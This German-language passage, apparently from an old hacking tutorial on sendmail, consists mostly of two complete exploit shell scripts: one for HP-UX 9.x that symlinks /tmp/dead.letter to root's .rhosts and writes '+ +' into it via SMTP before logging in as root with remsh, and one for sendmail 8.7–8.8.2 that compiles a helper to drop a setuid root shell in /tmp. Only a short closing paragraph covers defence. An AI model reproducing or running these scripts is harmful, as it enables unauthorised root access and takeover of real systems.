Das nun folgende Script erstellt unter HP-UX 9.x einen symbolischen Link zu einer Zieldatei im Verzeichnis "/tmp/dead.letter". Danach sendet es eine Nachricht, welche die gewünschten Zeilen enthält, an einen nicht-existierenden Benutzer. Sendmail ist standartmässig so konfiguriert, dass es die Zeilen in "tmp/dead.letter" mit root-Privilegien ausführt. Falls Sendmail umkonfiguriert wurde, verliert das Script natürlich augenblicklich seine Wirkung.

#!/bin/sh
# This works on virgin HPUX 9.x sendmail.cf
# The link can be set to any file on the system, it will append the contents
# of the email to the linked file (/etc/passwd, /etc/hosts.equiv, /.rhosts)..
# - sirsyko

r00tDIR=`grep root /etc/passwd |cut -f6 -d:`
RunDMC=`hostname`

if [ -f /tmp/dead.letter ]; then rm /tmp/dead.letter
fi
if [ -f /tmp/dead.letter ]; then
 echo "Sorry, aint gonna work"
 exit
fi

ln -s  ${r00tDIR}/.rhosts /tmp/dead.letter

(
sleep 1
echo "helo"
echo "mail from: noone"
echo "rcpt to: noone@bounce"
echo "data"
echo "+ +"
echo "."
sleep 3
echo "quit"
) | telnet ${RunDMC} 25

sleep 5
remsh ${RunDMC} -l root

Root-Shell in /tmp-Verzeichnis erlangen dank smtpd

#/bin/sh
#
#
#                                   Hi !
#                This is exploit for sendmail smtpd bug
#    (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms).
#         This shell script does a root shell in /tmp directory.
#          If you have any problems with it, drop me a letter.
#                                Have fun !
#
#
#                           ----------------------
#               ---------------------------------------------
#    -----------------   Dedicated to my beautiful lady   ------------------
#               ---------------------------------------------
#                          ----------------------
#
#          Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su
#
#
#
echo   'main()                                                '>>leshka.c
echo   '{                                                    '>>leshka.c
echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);         '>>leshka.c
echo   '}                                                     '>>leshka.c
#
#
echo   'main()                                                '>>smtpd.c
echo   '{                                                     '>>smtpd.c
echo   '  setuid(0); setgid(0);                               '>>smtpd.c
echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");      '>>smtpd.c
echo   '}                                                     '>>smtpd.c
#
#
cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
./leshka
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"
|head -n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd
/tmp/sh

Schutzmassnahmen

Leider ist die einzig wirklich sichere Möglichkeit sich vor einem Angreifer zu schützen, der dank Sendmail in das System eindringt, auf jenen Dienst zu verzichten, und ihn zu deaktivieren. Natürlich kann es zu einzelnen Sicherheitslücken auch individuelle Schutzmöglichkeiten geben, die ich jeweils im Einzelnen zu erläutern versuchte. Grundsätzlich kann zwar ein Update auf eine neuere Version altbekannte Sicherheitslücken schliessen, eröffnet jedoch zugleich die Tor zu neuen Sicherheitslöchern, die vielleicht zur Zeit noch unbekannt sind, und dementsprechend eventuell einem Eindringling für eine gewisse Zeit ein ungestörtes Dasein erleichtert.